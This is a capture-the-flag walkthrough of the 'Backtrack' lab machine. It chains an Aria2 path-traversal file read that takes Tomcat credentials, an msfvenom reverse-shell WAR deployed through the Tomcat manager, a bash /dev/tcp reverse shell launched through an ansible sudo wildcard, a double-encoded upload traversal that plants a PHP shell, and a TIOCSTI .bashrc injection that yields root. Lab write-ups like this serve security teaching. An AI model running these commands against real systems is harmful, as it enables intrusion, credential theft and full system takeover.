Backtrack

Daring to set foot where no one has. - by 0utc4st and YoloSaimo

The following post by 0xb0b is licensed under CC BY 4.0


A machine fully themed around path traversal vulnerabilities and 'stepping' back.

Recon

We start with a Nmap scan and find four open ports. Three of which appear to be web servers. On 22, we have SSH, port 8080 is a Tomcat server, and 8888 and 6800 are part of the Aria2 application.

We scan the individual servers using Feroxbuster for further directories...

... but find nothing interesting.

We visit the page on port 8888 and find the Aria2 WebUI application.

In the settings, we find the server info. This is version 1.35.0.

After a brief search, we also find a vulnerability - CVE-2023-39141 - that may apply. An LFI.

Shell as tomcat

We first check for the vulnerability and realize that we can exploit it. We are already able to access the /etc/passwd file via LFI.

curl --path-as-is http://backtrack.thm:8888/../../../../../../../../../../../../../../../../../../../../etc/passwd

The next idea would be to look for sensitive information or possibly logs that can be poisoned to create an RCE. After checking the usual log files in /var/log, we cannot find anything here that is there or that we have access to. Instead, we can check the context in which we are currently by including the file /proc/self/environ. We can see that the user tomcat is running this application.

curl --path-as-is http://backtrack.thm:8888/../../../../../../../../../../../../../../../../../../../../proc/self/environ --output -

We check whether we can find the first flag in tomcat's home directory and find it. That works, but it doesn't get us any further for the time being. So we continue and think about how to get to RCE.

curl --path-as-is http://backtrack.thm:8888/../../../../../../../../../../../../../../../../../../../../opt/tomcat/flag1.txt

We check the logs of the Tomcat server - catalina.out - and find some artifacts from testing or creating the room. A reverse shell was once uploaded. This is a way to RCE ifwe would have access to the management board of the Tomcat server. Let's look for more sensitive data.

curl --path-as-is http://backtrack.thm:8888/../../../../../../../../../../../../../../../../../../../../opt/tomcat/logs/catalina.out

The /opt/tomcat/conf/tomcat-users.xml is very promising. This contains the Tomcat users. And we find credentials for the tomcat user in the script manager role.

curl --path-as-is http://backtrack.thm:8888/../../../../../../../../../../../../../../../../../../../../opt/tomcat/conf/tomcat-users.xml

We switch to the Tomcat server.

Use the credentials after clicking on Manager App.

And get disappointed. We have no permissions. This is because we are not allowed to manage via GUI in the role of manager-script. No problem, then we simply use cURL.

We are already preparing a reverse shell using msfvenom.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.8.211.1 LPORT=4445 -f war -o shell.war

And set up a listener.

nc -lnvp 4445

Next, we deploy the reverse shell using cURL and use the credentials found.

curl -u tomcat:REDACTED --upload-file shell.war "http://backtrack.thm:8080/manager/text/deploy?path=/shell&update=true"

Then we can call the new shell endpoint...

curl http://backtrack.thm:8080/shell/

... and receive a connection back to our listener. We are the user tomcat and find the first flag in /opt/tomcat/flag1.txt. The next thing we do is upgrade our shell:

Shell as wilbur

When enumerating, we realize that we can execute /usr/bin/ansible-playbook /opt/test_playbook/*.yml as the user tomcat using sudo as the user wilbur without a password. This looks like a promising way to switch to the user wilbur. Thanks to the wildcard, we can execute any playbook in any location we control using path traversal.

How such a playbook must look so that it executes a script of our choice is shown in Exploit Notes:

We create our script for a reverse shell and make it executable.

echo '/bin/bash -i >& /dev/tcp/10.8.211.1/4445 0>&1' > /tmp/wilbur.sh

Next, we create the playbook, which then executes this script.

priv.yml
- hosts: localhost
  tasks:
    - name: RShell
      command: bash /tmp/wilbur.sh

When we run it for the first time, we realize that the user wilbur does not have sufficient rights to our scripts and playbooks.

sudo -u wilbur /usr/bin/ansible-playbook /opt/test_playbooks/../../tmp/priv.yml

We then change this again and run our sudo command again.

We get a connection back, and we are wilbur. The next thing we do is upgrade our shell:

Unfortunately, we cannot find the second flag in the user's home directory. But we do find two useful hints. From from_orville.txt, we learn that this user orville has probably set up a web server, an image galery, which still needs to be tested. We receive credentials for this. We also receive further credentials. Possibly those for the user wilbur on the system.

Shell as orville

We search for internal web services and find what we are looking for at port 80.

Since we have already found credentials on wilbur, we use SSH for local port forwarding. Alternatively, we can use ligolo-ng or chisel. However, this turned out to be very unstable.

 ssh -L 9999:127.0.0.1:80 wilbur@backtrack.thm

Now we can reach the image gallery via http://127.0.0.1:9999/.

We use the found credenitals in wilburs home directory.

And now face an image upload page. Looking closely at the password, we can guess some sentences in Leetspeak giving us the clue, that this is indeed the vulnerable function to look for.

We intercept an upload request via Burp Suite to better understand what is happening. A multipart/form-data is used to transfer the data via a POST request. We upload a simple image of a pixel.

The image gets stored at /uploads.

There are filters in place, that prevent uploading a PHP file directly. Changing the magic bytes or the Content-Type doesn't yield any success. Instead, we are successful with a simple modification of the file ending.

Trying several bypass techniques, we see that appending a .php file ending leads to it being uploaded.

Unfortunately, the file is uploaded but does not execute in /uploads. We can only download the file.

Using the following script, we try a large number of bypass combinations, none of which are executed in /uploads. This may not even be possible.

Instead, we take a step back. Literally. We now try to place our files outside /uploads using path traversal.

../pixel.png

We try different payloads from fuzzing wordlists and are successful with the double URL encoded variant of ../.

%252e%252e%252fpixel.png

Our image is now in the root folder of the web server and can be displayed.

Next, we try appending .php to the filename and placing a simple phpinfo() payload, to test if it gets resolved properly.

%252e%252e%252fpixel.png.php

Accessing /pixel.png.php, we see the PHP info page. We are successful.

The next thing we do is generate a PHP PentestMonkey reverse shell using revshells.com and set up a listener.

We prepare the upload with the shell and the manipulated filename and send the request.

%252e%252e%252fshell.png.php

After accessing our placed shell.png.php via cURL or a browser, we get a connection back as orville.

http://127.0.0.1:9999/shell.png.php

We upgrade the shell and find the second flag in /home/orville/flag2.txt.

Shell as root

In orville's home directory, we find the zip archive web_snapshot.zip. This also contains our uploaded files, it is probably created regularly, but we cannot find anything in the cronjobs. We bring psyp64 to the machine (using a web server or scp).

Pspy64 is a non-intrusive tool used to monitor active processes and system commands in real time without requiring root privileges.

It allows you to see commands run by other users, cron jobs, etc. as they execute. Great for enumeration of Linux systems in CTFs.

We run pspy64 and see some stuff happening.

./pspy64

We see that the user orville is switched to using su and the hyphen - is used. Before that, some executions happen in the uid 0 context, i.e. root. We therefore assume that the root user changes to orville and then creates a snapshot of /var/www/html using zip.

The use of the - simulates a full login. It provides a new environment as if the user had logged in directly. This includes:

  • Loading the user's shell as defined in /etc/passwd (such as Bash).

  • Executing the target user's startup scripts (like .bash_profile or .profile).

  • Switching to the user's home directory.

  • Updating environment variables (like $PATH, $USER, $HOME, etc.) to match that user's configuration.

As orville we are in control of the .bashrc so we are able to let the root user in disguise of orville execute commands for us. So how do we get back to root? After we switched to another user using su. Exit would be an option, but that would kill the entire session.

Shout out to 0day for sharing me this resource as we had collaborativley solved the challenge.

We are facing one of the oldest privilege escalation vecotors, which I was not aware of:

Instead of just sending an exit, we send SIGSTOP to the lower privileged shell to get the focus back to its parent, becoming root again. In other words, if we use su to switch to another user, creating a child shell process under the parent root shell process, we can return to the parent process, sending a SIGSTOP signal, as shown below:

import os
import signal

os.kill(os.getppid(), signal.SIGSTOP)

We adapt the script from the resource, sending SIGSTOP to the lowpriv shell to get the focus back to its parent, the root shell. Then sending the characters chmod +s /bin/bash\none by one using the TIOCSTI ioctl injects them into the root shell as if they were input manually, until '\n' is sent, which executes the command, creating us a SUID /bin/bash binary which is owned by root.

We place that script in /dev/shm/.

backtoroot.py
#!/usr/bin/env python3
import fcntl
import termios
import os
import signal

os.kill(os.getppid(), signal.SIGSTOP)

for char in 'chmod +s /bin/bash\n':
    fcntl.ioctl(0, termios.TIOCSTI, char)

And append the following to the /home/orville/.bashrc to let it be executed while the root user switches users to orville.

echo 'python3 /dev/shm/backtoroot.py' >> /home/orville/.bashrc

After a short duration we get a /bin/bash SUID binary and execute it via bash -p to get a root shell.

We are now root and have access to the third flag.

Last updated